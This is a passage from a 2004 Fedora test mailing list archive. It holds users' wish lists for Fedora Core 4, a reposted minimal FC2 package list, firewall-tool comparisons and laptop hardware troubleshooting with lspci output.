'/var/touch/subsys/kudzu': Read-only file system > Applying iptables: firewal rules (ok) > touch: cannot touch '/var/touch/subsys/iptables': Read-only file system > Starting pcmcia: (ok) > etc > etc > > Am I doing something wrong or the system? There are bits of information that might lead to some reader catching onto what might be wrong with your setup, auto-configuration tools etc. /sbin/lspci output, the xorg.conf file and /var/log/Xorg.0.log allow others to get a picture as to what your system is doing. Someone helped find out why one xorg.conf file worked for me and an autogenerated version did not on another graphics card type. I don't want to chance messing up your system and want you to consider this hints to lead you into a direction that will get your GUI up and running. Bailing out, because this is over my head for a solution. Jim > > Regards > Truls From thomasz at hostmaster.org Sat Nov 13 04:35:57 2004 From: thomasz at hostmaster.org (Thomas Zehetbauer) Date: Sat, 13 Nov 2004 05:35:57 +0100 Subject: Features for FC4 In-Reply-To: <1100285103.4092.15.camel@cei3772.empower.ceimaine.org> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> <4194D7A8.9080509@silkroad.ge> <1100273701.3313.113.camel@douglas-furlong.firebox.com> <1100285103.4092.15.camel@cei3772.empower.ceimaine.org> Message-ID: <1100320557.3238.4.camel@hostmaster.org> On Fre, 2004-11-12 at 13:45 -0500, Will Backman wrote: > I'd like to see a good SIP phone. I absolutely back that request, but I have not found any candidate for this specification. Hopefully gnomemeeting will soon change this situation. Tom -- T h o m a s Z e h e t b a u e r ( TZ251 ) PGP encrypted mail preferred - KeyID 96FFCB89 finger thomasz at hostmaster.org for key Linux is like a Wigwam.. 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From jspaleta at gmail.com Sat Nov 13 13:04:18 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Sat, 13 Nov 2004 08:04:18 -0500 Subject: Features for FC4 In-Reply-To: <1100273701.3313.113.camel@douglas-furlong.firebox.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> <4194D7A8.9080509@silkroad.ge> <1100273701.3313.113.camel@douglas-furlong.firebox.com> Message-ID: <604aa79104111305042d8ef0cf@mail.gmail.com> On Fri, 12 Nov 2004 15:35:01 +0000, Douglas Furlong wrote: > Jef was being incredibly unfair, there is actually some one on this > list, one of the Rodolfo's (sorry for the spelling?), who has been quite > vocal trying to get a minimal install up and running (remember the > argument about synaptec and up2date any one? :)) Several people have been vocal... and in the past 2+ years several people have gotten excited by the idea, and then wandered off never to return with something other people can test. Maybe I missed something, but I haven't seen an alternative comps.xml file show up in the devel or test list for community to test. Maybe the discussion has moved to the anaconda list. If you have a reference to something testable please give me the citation. A testable comps.xml that can be used to regenerate installable anaconda based images. We can spend days and days and days discussing what should be and what should not be in minimal install, trying to find the perfect package list...and all that discussion is absolutely pointless, if no one delivers a comps.xml file for other people to test. Waiting for someone inside Red Hat to make it a priority to rework the changes into a comps.xml is going to be a long long wait. Everybody who thinks this is important need to start delivering a comps.xml group file that can be tested. It doesn't have to be perfect, i expect several iterations of feedback about the finer points, but if someone is working on a new minimal grouping it needs to see a significant amount of community testing while its being developed. > Check the archives, there IS some one working on this, working hard I > believe, trying to work out what can be removed. Bah... show ME a comps.xml that I can test by rolling new installer images with. Talking about it only gets so far. And its been discussed several times now on the general lists. If someone in the community is hard at work on this, they need to start producing comps.xml revisions for community testing. -jef From fedora at warmcat.com Sat Nov 13 13:48:04 2004 From: fedora at warmcat.com (Andy Green) Date: Sat, 13 Nov 2004 13:48:04 +0000 Subject: Features for FC4 In-Reply-To: <604aa79104111305042d8ef0cf@mail.gmail.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100273701.3313.113.camel@douglas-furlong.firebox.com> <604aa79104111305042d8ef0cf@mail.gmail.com> Message-ID: <200411131348.07754.fedora@warmcat.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 13 November 2004 13:04, Jeff Spaleta wrote: > > Check the archives, there IS some one working on this, working hard I > > believe, trying to work out what can be removed. > > Bah... show ME a comps.xml that I can test by rolling new installer Here is a repost from Fedora-Minimal by Hakan. I hope Hakan chimes in on this thread because the minimal install set does seem very bloated at the moment and it's useful for many different applications if it can be reduced. Return-Path: X-Original-To: fedora at warmcat.com Delivered-To: agreen at mailserver.cb.ath.cx ... Message-ID: <418A3700.4010702 at zyberit.com> Date: Thu, 04 Nov 2004 15:04:48 +0100 From: =?ISO-8859-1?Q?H=E5kan_Persson?= User-Agent: Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.7.3) Gecko/20040922 X-Accept-Language: sv, en-us, en MIME-Version: 1.0 To: Defining the smallest practical Fedora install Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Subject: "Minimal" installation based on FC2 X-BeenThere: Fedora-minimal at simpaticus.com X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Defining the smallest practical Fedora install List-Id: Defining the smallest practical Fedora install List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: Fedora-minimal-bounces at simpaticus.com Errors-To: Fedora-minimal-bounces at simpaticus.com X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ns3.simpaticus.com X-AntiAbuse: Original Domain - warmcat.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - simpaticus.com X-Source: X-Source-Args: X-Source-Dir: X-IMAPbase: 1095105478 777216 Status: R X-UID: 777215 Content-Length: 3006 X-Keywords: X-Status: NC X-KMail-EncryptionState: X-KMail-SignatureState: X-KMail-MDN-Sent: Greetings. For what is is worth, I have created a FC2 installation that is about 270 MByte and with (nearly) all dependencies resolved. It is very basic and only includes networking and an ssh demon. So it is still a lot of code for very basic stuff. But adding Apache and MySql adds only about 43 MByte which easily fits into my 512 MByte Flash for the box I am using it for. And I have yum in the "basic" package so it is easy to add on new software. The complete RPM-list is as follows: basesystem-8.0-3 bash-2.05b-38 beecrypt-3.1.0-3 bzip2-libs-1.0.2-12.1 chkconfig-1.3.9-1.1 coreutils-5.2.1-7 cracklib-2.7-27.1 cracklib-dicts-2.7-27.1 cyrus-sasl-2.1.18-2.2 cyrus-sasl-md5-2.1.18-2.2 db4-4.2.52-3.1 dev-3.3.13-1 device-mapper-1.00.14-3 dhclient-3.0.1rc14-1 diffutils-2.8.1-11 e2fsprogs-1.35-7.1 elfutils-0.95-2 elfutils-libelf-0.95-2 ethtool-1.8-3.1 fedora-release-2-4 filesystem-2.2.4-1 findutils-4.1.7-25 gawk-3.1.3-7 gdbm-1.8.0-22.1 glib-1.2.10-12.1.1 glib2-2.4.0-1 glibc-2.3.3-27 glibc-common-2.3.3-27 gmp-4.1.2-14 grep-2.5.1-26 grub-0.94-5 gzip-1.3.3-12 hdparm-5.5-1 hwdata-0.120-1 info-4.7-4 initscripts-7.55.1-1 iproute-2.4.7-14 iptables-1.2.9-2.3.1 iputils-20020927-13 isdn4k-utils-3.2-13.p1.1 kernel-2.6.5-1.358 krb5-libs-1.3.4-6 kudzu-1.1.68.2-1 less-382-3 libacl-2.2.7-5 libattr-2.4.1-4 libgcc-3.3.3-7 libpcap-0.8.3-3 libselinux-1.11.4-1 libstdc++-3.3.3-7 libtermcap-2.0.8-38 libuser-0.51.7-7.1.1 libwvstreams-3.70-13.1 libxml2-2.6.8-1 libxml2-python-2.6.8-1 lockdev-1.0.1-2.3.1 logrotate-3.7-4.1 lrzsz-0.12.20-18 lvm2-2.00.15-2 mingetty-1.07-2 minicom-2.00.0-18.1 mkinitrd-3.5.22-1 mktemp-1.5-7 modutils-2.4.26-16 ncurses-5.4-5 net-tools-1.60-25.1 newt-0.51.6-2.1.1 openldap-2.1.29-1 openssh-3.6.1p2-34 openssh-server-3.6.1p2-34 openssl-0.9.7a-35 pam-0.77-40 passwd-0.68-8.1 pcre-4.5-2 perl-5.8.3-18 perl-Filter-1.30-5 policycoreutils-1.11-2 popt-1.9.1-0.3 ppp-2.4.2-3.FC2.1 prelink-0.3.2-1 procps-3.2.0-1.1 psmisc-21.4-2 python-2.3.3-6 readline-4.3-10.1 rootfiles-7.2-7 rpm-4.3.1-0.3 rpm-python-4.3.1-0.3 sed-4.0.8-4 setup-2.5.33-1 shadow-utils-4.0.3-21 slang-1.4.9-3.1 statserial-1.1-34 sysklogd-1.4.1-16 SysVinit-2.85-25 tar-1.13.25-14 tcp_wrappers-7.6-36 termcap-11.0.1-18.1 tzdata-2004e-1.fc2 util-linux-2.12-18 vim-minimal-6.2.457-1 wget-1.9.1-5 which-2.16-2 words-2-22 wvdial-1.53-13 yum-2.0.7-1.1 zlib-1.2.1.1-2.1 I did the installation by modifying the comps.xml file in the installation directory so the "core group" only included what I needed. I didn't have all of the listed RPM,s in the comps.xml file. A lot of the RPM's are dependencies that gets installed anyway. I also had to remove the comps RPM manually afterwards and I have "brewn" my own kernel (based on the FC kernel source) and only included the kernel modules that I nedded. This saved about 30 MByte. Cheers, H?kan - -- http://www.addintelligence.co.uk -- we design custom hardware and software for your products -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQFBlhCXjKeDCxMJCTIRAr6zAJ9ipKb0GE6YtY6GYhbMIppdRCVbiwCcD3Gi wIBdQfuWafweZj8zOF8znWY= =4JtE -----END PGP SIGNATURE----- From david.frankstrial at uicl.co.uk Sat Nov 13 14:27:39 2004 From: david.frankstrial at uicl.co.uk (david) Date: Sat, 13 Nov 2004 14:27:39 +0000 Subject: Vaio Z600 CDRom In-Reply-To: <20041109225740.GC1358@devserv.devel.redhat.com> References: <1100035290.3415.8.camel@localhost.localdomain> <20041109225740.GC1358@devserv.devel.redhat.com> Message-ID: <1100356059.4557.2.camel@localhost.localdomain> On Tue, 2004-11-09 at 17:57 -0500, Alan Cox wrote: > On Tue, Nov 09, 2004 at 09:21:30PM +0000, David Franks wrote: > > However I now can't get my laptop to recognise the CDRom drive which is > > a PCMCIA CD51/A. > > > I've googled and tried a variety of "ide2(and ide1)=0x86,0x386" > > additions to the linux boot line, but this just causes the boot process > > to hang at the "remounting filesystem" stage. > > > > Has anyone any suggestions as to how to get the CDRom recognised? > > For the install the magic ide1=0x180,0x386 should work > > Post install it should automatically be found and attached as a pcmcia device > at the end of boot using ide-cs. If it is cardbus it may not be supported. > If it is cardbus however let me know the pci ids and we can see what we can > do > Hi, Sorry for delay - I've been away for a few days. I'm feeling my way a bit here. Here's the output from lspci. Is that what you need? If you need more, could you tell me how to generate it for you. Thanks David 00:00.0 Host bridge: Intel Corp. 440BX/ZX/DX - 82443BX/ZX/DX Host bridge (rev 03) 00:01.0 PCI bridge: Intel Corp. 440BX/ZX/DX - 82443BX/ZX/DX AGP bridge (rev 03) 00:07.0 ISA bridge: Intel Corp. 82371AB/EB/MB PIIX4 ISA (rev 02) 00:07.1 IDE interface: Intel Corp. 82371AB/EB/MB PIIX4 IDE (rev 01) 00:07.2 USB Controller: Intel Corp. 82371AB/EB/MB PIIX4 USB (rev 01) 00:07.3 Bridge: Intel Corp. 82371AB/EB/MB PIIX4 ACPI (rev 03) 00:08.0 FireWire (IEEE 1394): Sony Corporation CXD3222 i.LINK Controller (rev 02) 00:09.0 Multimedia audio controller: Yamaha Corporation YMF-744B [DS-1S Audio Controller] (rev 02) 00:0a.0 Communication controller: Conexant HSF 56k Data/Fax Modem (Mob WorldW SmartDAA) (rev 01) 00:0b.0 Ethernet controller: Intel Corp. 82557/8/9 [Ethernet Pro 100] (rev 08) 00:0c.0 CardBus bridge: Ricoh Co Ltd RL5c475 (rev 80) 01:00.0 VGA compatible controller: ATI Technologies Inc Rage Mobility P/M AGP 2x (rev 64) From lux at diesel-research.com Sat Nov 13 15:02:19 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 08:02:19 -0700 Subject: Features for FC4 In-Reply-To: <1100112479.3955.62.camel@marius.asheville.interact> References: <1100112479.3955.62.camel@marius.asheville.interact> Message-ID: <1100358139.29106.27.camel@localhost.localdomain> I'd like to see a firewall tool added to FC4. I use FWBuilder. I know that iptables can be set manually, but I use FWBuilder on every machine we have. It is a pain to download and install it on every machine. I think it is a very handy application, for those of us not working with firewalls every day. The other thing I add to every machine is synaptic, but we have already had that discussion. Another app that a lot of technical people are looking for is CAD. I've been using qcad and find the latest release (2.0.4+) to be a very good replacement for AutoCAD, although it doesn't do 3D and some of the advanced stuff. If the qcad developers had just a bit more help, they would have a killer app on their hands in technical circles. -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Sat Nov 13 15:06:03 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 08:06:03 -0700 Subject: Features for FC4 In-Reply-To: <1100281857.4806.6.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> <1100253721.3313.98.camel@douglas-furlong.firebox.com> <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> <1100258399.27583.11.camel@steelgoose.com> <1100263659.3205.29.camel@ricardo.veguilla.net> <1100264085.5768.2.camel@localhost.localdomain> <1100267730.3205.49.camel@ricardo.veguilla.net> <1100281857.4806.6.camel@localhost.localdomain> Message-ID: <1100358363.29106.30.camel@localhost.localdomain> I second his request #1. Vadim: have you tried ndiswrapper for your wifi ? A bunch of us run HPzd7000 laptops with a Broadcom wifi "card" ndiswrapper works excellent with it. You can find a HOWTO written by yours truly at www.zd7000forums.com in the Linux forum. On Fri, 2004-11-12 at 09:50 -0800, Vadim wrote: > I would like to see the following: > 1 - Better driver support for nvidia > 2 - Support for Broadcom BCM4306 wifi > 3 - Better power management support. > 4 - Mac-OS-X like feedback on application starting (Gnome feature) > 5 - Better sound card resource allocation and management. > -V > On Fri, 2004-11-12 at 09:55 -0400, Ricardo Veguilla wrote: > > On Fri, 2004-11-12 at 12:54 +0000, ian clancy wrote: > > > Gnome does not lack menu editing. However it has always been strangely > > > disabled in Redhat/Fedora. > > > Regards, > > > Ian Clancy > > > > > > > Yes, Gnome has menu editing, but its one of those things that are in > > Gnome because everyone wants to have it, not necessarily because its > > easy to use or "Just Work" ... or at least thats the impression I got > > from previous discussions about this in the gnome mailing lists. > > > > Anyway, I should have specified that I was talking about Gnome lacking > > menu editing in Fedora. > > > > Regards, > > -- > > Ricardo Veguilla > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Kim Lux (Mr.) Diesel Research Inc From bwheadley at earthlink.net Sat Nov 13 15:29:34 2004 From: bwheadley at earthlink.net (Bryan W. Headley) Date: Sat, 13 Nov 2004 09:29:34 -0600 Subject: Features for FC4 In-Reply-To: <1100358139.29106.27.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100358139.29106.27.camel@localhost.localdomain> Message-ID: <4196285E.4070203@earthlink.net> Kim Lux wrote: >I'd like to see a firewall tool added to FC4. I use FWBuilder. I know >that iptables can be set manually, but I use FWBuilder on every machine >we have. It is a pain to download and install it on every machine. I >think it is a very handy application, for those of us not working with >firewalls every day. > > > Just checking: since iptables has system-config-securitylevel as its frontend, what is better about FWBuilder in your mind? From lux at diesel-research.com Sat Nov 13 15:38:35 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 08:38:35 -0700 Subject: Features for FC4 In-Reply-To: <4196285E.4070203@earthlink.net> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100358139.29106.27.camel@localhost.localdomain> <4196285E.4070203@earthlink.net> Message-ID: <1100360315.29692.6.camel@localhost.localdomain> On Sat, 2004-11-13 at 09:29 -0600, Bryan W. Headley wrote: > Just checking: since iptables has system-config-securitylevel as its > frontend, what is better about FWBuilder in your mind? system-config-securitylevel only lets the user set a few things, like which ports are open. With FWBuilder, you can set up NAT, define times when specific ports are open, do port forwarding, block specific IPs, etc. You'd have to run it to see what I mean. I used it to set up NAT and port forwarding. One thing I really like about fwbuilder is that you can set up a fw configuration, save it as a file and employ it on all the machines on the network just by copying it to the other machines. I agree that system-config-security level works for simple firewall tasks, but if you need to do something that it doesn't do and you don't want to manually do iptables, fwbuilder is a great tool. -- Kim Lux (Mr.) Diesel Research Inc From ernesto at ornl.gov Sat Nov 13 15:42:26 2004 From: ernesto at ornl.gov (Ernest L. Williams Jr.) Date: Sat, 13 Nov 2004 10:42:26 -0500 Subject: Features for FC4 In-Reply-To: <1100358363.29106.30.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> <1100253721.3313.98.camel@douglas-furlong.firebox.com> <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> <1100258399.27583.11.camel@steelgoose.com> <1100263659.3205.29.camel@ricardo.veguilla.net> <1100264085.5768.2.camel@localhost.localdomain> <1100267730.3205.49.camel@ricardo.veguilla.net> <1100281857.4806.6.camel@localhost.localdomain> <1100358363.29106.30.camel@localhost.localdomain> Message-ID: <1100360546.10897.7.camel@lion> On Sat, 2004-11-13 at 08:06 -0700, Kim Lux wrote: > I second his request #1. > > Vadim: have you tried ndiswrapper for your wifi ? A bunch of us run > HPzd7000 laptops with a Broadcom wifi "card" ndiswrapper works > excellent with it. What about having a pure Linux driver, eh? Is there a problem with Broadcom wifi not providing information needed to develop drivers? > > You can find a HOWTO written by yours truly at www.zd7000forums.com in > the Linux forum. > > > > On Fri, 2004-11-12 at 09:50 -0800, Vadim wrote: > > I would like to see the following: > > 1 - Better driver support for nvidia > > 2 - Support for Broadcom BCM4306 wifi > > 3 - Better power management support. > > 4 - Mac-OS-X like feedback on application starting (Gnome feature) > > 5 - Better sound card resource allocation and management. > > -V > > On Fri, 2004-11-12 at 09:55 -0400, Ricardo Veguilla wrote: > > > On Fri, 2004-11-12 at 12:54 +0000, ian clancy wrote: > > > > Gnome does not lack menu editing. However it has always been strangely > > > > disabled in Redhat/Fedora. > > > > Regards, > > > > Ian Clancy > > > > > > > > > > Yes, Gnome has menu editing, but its one of those things that are in > > > Gnome because everyone wants to have it, not necessarily because its > > > easy to use or "Just Work" ... or at least thats the impression I got > > > from previous discussions about this in the gnome mailing lists. > > > > > > Anyway, I should have specified that I was talking about Gnome lacking > > > menu editing in Fedora. > > > > > > Regards, > > > -- > > > Ricardo Veguilla > > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > -- > Kim Lux (Mr.) Diesel Research Inc > From lux at diesel-research.com Sat Nov 13 15:49:32 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 08:49:32 -0700 Subject: Features for FC4 In-Reply-To: <1100360546.10897.7.camel@lion> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> <1100220091.22508.71.camel@localhost.localdomain> <1100217259.4069.378.camel@preview> <1100253721.3313.98.camel@douglas-furlong.firebox.com> <42496.62.2.21.164.1100255045.squirrel@62.2.21.164> <1100258399.27583.11.camel@steelgoose.com> <1100263659.3205.29.camel@ricardo.veguilla.net> <1100264085.5768.2.camel@localhost.localdomain> <1100267730.3205.49.camel@ricardo.veguilla.net> <1100281857.4806.6.camel@localhost.localdomain> <1100358363.29106.30.camel@localhost.localdomain> <1100360546.10897.7.camel@lion> Message-ID: <1100360973.29692.16.camel@localhost.localdomain> I totally agree with what you are saying. No argument here. However, in the absence of drivers and driver information, ndiswrapper works pretty well. This email is being sent from my kitchen through a broadcom card and ndiswrapper to a wireless router located at my neighbors. (We share it.) On Sat, 2004-11-13 at 10:42 -0500, Ernest L. Williams Jr. wrote: > On Sat, 2004-11-13 at 08:06 -0700, Kim Lux wrote: > > I second his request #1. > > > > Vadim: have you tried ndiswrapper for your wifi ? A bunch of us run > > HPzd7000 laptops with a Broadcom wifi "card" ndiswrapper works > > excellent with it. > What about having a pure Linux driver, eh? Is there a problem with > Broadcom wifi not providing > information needed to develop drivers? > > > > > > > You can find a HOWTO written by yours truly at www.zd7000forums.com in > > the Linux forum. > > > > > > > > On Fri, 2004-11-12 at 09:50 -0800, Vadim wrote: > > > I would like to see the following: > > > 1 - Better driver support for nvidia > > > 2 - Support for Broadcom BCM4306 wifi > > > 3 - Better power management support. > > > 4 - Mac-OS-X like feedback on application starting (Gnome feature) > > > 5 - Better sound card resource allocation and management. > > > -V > > > On Fri, 2004-11-12 at 09:55 -0400, Ricardo Veguilla wrote: > > > > On Fri, 2004-11-12 at 12:54 +0000, ian clancy wrote: > > > > > Gnome does not lack menu editing. However it has always been strangely > > > > > disabled in Redhat/Fedora. > > > > > Regards, > > > > > Ian Clancy > > > > > > > > > > > > > Yes, Gnome has menu editing, but its one of those things that are in > > > > Gnome because everyone wants to have it, not necessarily because its > > > > easy to use or "Just Work" ... or at least thats the impression I got > > > > from previous discussions about this in the gnome mailing lists. > > > > > > > > Anyway, I should have specified that I was talking about Gnome lacking > > > > menu editing in Fedora. > > > > > > > > Regards, > > > > -- > > > > Ricardo Veguilla > > > > > > > -- > > > fedora-test-list mailing list > > > fedora-test-list at redhat.com > > > To unsubscribe: > > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > -- > > Kim Lux (Mr.) Diesel Research Inc > > > -- Kim Lux (Mr.) Diesel Research Inc From kyrre at solution-forge.net Sat Nov 13 16:05:31 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 13 Nov 2004 17:05:31 +0100 Subject: Features for FC4 In-Reply-To: <200411122335.28597.jeffy5@optonline.net> References: <200411122335.28597.jeffy5@optonline.net> Message-ID: <1100361930.2810.18.camel@kyrre> l?r, 13.11.2004 kl. 05.35 skrev Jeffrey D. Yuille: > I would like to see a version of Fedora Core 4 where a CUPS server can be > installed automatically during installation so other computers on the network > can "see" a CUPS server when they are ready to print. > Last time i checked, CUPS was installed by default... From bwheadley at earthlink.net Sat Nov 13 16:12:50 2004 From: bwheadley at earthlink.net (Bryan W. Headley) Date: Sat, 13 Nov 2004 10:12:50 -0600 Subject: Features for FC4 In-Reply-To: <1100360315.29692.6.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100358139.29106.27.camel@localhost.localdomain> <4196285E.4070203@earthlink.net> <1100360315.29692.6.camel@localhost.localdomain> Message-ID: <41963282.7030609@earthlink.net> Kim Lux wrote: >On Sat, 2004-11-13 at 09:29 -0600, Bryan W. Headley wrote: > > >>Just checking: since iptables has system-config-securitylevel as its >>frontend, what is better about FWBuilder in your mind? >> >> > >system-config-securitylevel only lets the user set a few things, like >which ports are open. With FWBuilder, you can set up NAT, define times >when specific ports are open, do port forwarding, block specific IPs, >etc. You'd have to run it to see what I mean. > >I used it to set up NAT and port forwarding. > >One thing I really like about fwbuilder is that you can set up a fw >configuration, save it as a file and employ it on all the machines on >the network just by copying it to the other machines. > > Initially complex-looking. Qt. But it looks like it'd be very Enterprise-Friendly. RCS? (I like the premise of that; a real admin puts everything into version control) From kyrre at solution-forge.net Sat Nov 13 16:18:43 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 13 Nov 2004 17:18:43 +0100 Subject: Features for FC4 In-Reply-To: <1100112479.3955.62.camel@marius.asheville.interact> References: <1100112479.3955.62.camel@marius.asheville.interact> Message-ID: <1100362722.2810.23.camel@kyrre> Personally, i would like to see: - Paralell startup of services to minimize boot times - A faster shutdown-time - Openoffice shoulnt use 30 secounds to load the dictionaries. (only load the default language?) Maybee: - Preloading of Openoffice and default web browser, to make the system respond *imediatly* and open those progs. Of cource, i could probably had comed up with more, but this is *the* most important things. ons, 10.11.2004 kl. 19.47 skrev Mark Haney: > I know it's probably a bit early, but does anyone have a comprehensive > set of features/ideas for FC4? So far FC3 is by far the best distro out > there, but surely there's been some thought to what's next. Plus, I'd > love to help out with it in any way I can, but time prohibits real > development, is there any need for documentation? > > > -------------------------------------- > Mark Haney > Network Administrator > InterAct Public Safety Systems > mhaney at interactsys.com > Fedora Core release 3 (Heidelberg) Kernel: 2.6.9-1.667 GNU/Linux > 13:45:07 up 5:48, 1 user, load average: 1.79, 1.93, 2.01 > > > ______________________________________________________________________ > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From lux at diesel-research.com Sat Nov 13 16:22:35 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 09:22:35 -0700 Subject: Features for FC4 In-Reply-To: <41963282.7030609@earthlink.net> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100358139.29106.27.camel@localhost.localdomain> <4196285E.4070203@earthlink.net> <1100360315.29692.6.camel@localhost.localdomain> <41963282.7030609@earthlink.net> Message-ID: <1100362955.29852.19.camel@localhost.localdomain> I don't know if it supports RCS directly. I don't think so. The development team is small and tightly controlled. The files it generates are XML, so I don't think version control would be a problem or difficult to implement. I think FWbuilder would be an outstanding sys admin tool. It isn't that iptables are that hard, it is just that if you do it for a large number of machines or you only do it once in a while it is easy to get disorganized. I find that fwbuilder allows me (a relative fw newbie) to keep our firewalls organized. On Sat, 2004-11-13 at 10:12 -0600, Bryan W. Headley wrote: > Kim Lux wrote: > > >On Sat, 2004-11-13 at 09:29 -0600, Bryan W. Headley wrote: > > > > > >>Just checking: since iptables has system-config-securitylevel as its > >>frontend, what is better about FWBuilder in your mind? > >> > >> > > > >system-config-securitylevel only lets the user set a few things, like > >which ports are open. With FWBuilder, you can set up NAT, define times > >when specific ports are open, do port forwarding, block specific IPs, > >etc. You'd have to run it to see what I mean. > > > >I used it to set up NAT and port forwarding. > > > >One thing I really like about fwbuilder is that you can set up a fw > >configuration, save it as a file and employ it on all the machines on > >the network just by copying it to the other machines. > > > > > Initially complex-looking. Qt. But it looks like it'd be very > Enterprise-Friendly. RCS? (I like the premise of that; a real admin puts > everything into version control) > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Sat Nov 13 16:24:46 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 09:24:46 -0700 Subject: Features for FC4 In-Reply-To: <1100362722.2810.23.camel@kyrre> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100362722.2810.23.camel@kyrre> Message-ID: <1100363086.29852.21.camel@localhost.localdomain> On Sat, 2004-11-13 at 17:18 +0100, Kyrre Ness Sjobak wrote: > - Openoffice shoulnt use 30 secounds to load the dictionaries. (only > load the default language?) > > Maybee: > - Preloading of Openoffice and default web browser, to make the system > respond *imediatly* and open those progs. OO spell checking used to take forever and now it is almost instantaneous. Kudos to whomever did that. OO is getting faster all the time, in my opinion. In RH8 it was pretty slow. BTW: I just love OO. I use it every day. -- Kim Lux (Mr.) Diesel Research Inc From kyrre at solution-forge.net Sat Nov 13 16:27:17 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 13 Nov 2004 17:27:17 +0100 Subject: gtkam missing In-Reply-To: <1100107203.4006.2.camel@localhost.localdomain> References: <1100081370.25905.2.camel@datacc> <1100090133.3546.5.camel@home.gnome.no> <1100095082.2393.6.camel@localhost.localdomain> <1100107203.4006.2.camel@localhost.localdomain> Message-ID: <1100363236.2810.25.camel@kyrre> ons, 10.11.2004 kl. 18.20 skrev Kim Lux: > I share most of your sentiments. > > gqview is missing as well. It was my favorite photo organizing tool. > > I agree that synaptic should be shipping with FC distros. > but synaptic is based on apt which will *NOT* be shipped. And i love apt/synaptic. Just forget it. Or port synaptic over to yum :) > > On Wed, 2004-11-10 at 08:58 -0500, Temlakos wrote: > > On Wed, 2004-11-10 at 07:35, Kjartan Maraas wrote: > > > ons, 10,.11.2004 kl. 10.09 +0000, skrev mike: > > > > Is there a reason why gtkam is missing from FC3 > > > > > > > > Is there a replacement? > > > > > > > Yes, gthumb replaces gtkam. It uses the same library to access the > > > cameras and in addition has a UI based on GTK+-2.x > > > > > > Cheers > > > Kjartan > > > > I see! Or, I think I see. Now why didn't the release notes specifically > > *say* that gthumb performs all the functions of the old gtkam? (Does > > gthumb have a plug-in for gimp?) > > > > Which goes to the serious, and so far not-addressed, issue of > > documentation. *Where are the documents* showing quite clearly all the > > functions of the packages that distribute with Fedora? How are we > > supposed to know that a retained package subsumes the functions of > > another if nobody tells us? Think of how many people, not readers of any > > of these lists, went out and grabbed gtkam after installing FC3 or one > > of its RC's and *didn't have to*! (That might not seem important at > > first, but think of the conflicts you set up if you run two apps at once > > that each address the same device...!) > > > > And when will *apt* distribute with Fedora? The best package manager > > ever invented, the best solution to the RPM dependency problem I've ever > > seen, works like a charm with Fedora, and it's not in the core distro? > > Something's wrong here. > > > -- > Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Sat Nov 13 16:44:31 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 09:44:31 -0700 Subject: Features for FC4 In-Reply-To: <200411122335.28597.jeffy5@optonline.net> References: <200411122335.28597.jeffy5@optonline.net> Message-ID: <1100364271.30332.0.camel@localhost.localdomain> I just thought of something: ntfs should be enabled in stock kernels. Anyone running a dual boot XP system will appreciate this. Kim On Fri, 2004-11-12 at 23:35 -0500, Jeffrey D. Yuille wrote: > I would like to see a version of Fedora Core 4 where a CUPS server can be > installed automatically during installation so other computers on the network > can "see" a CUPS server when they are 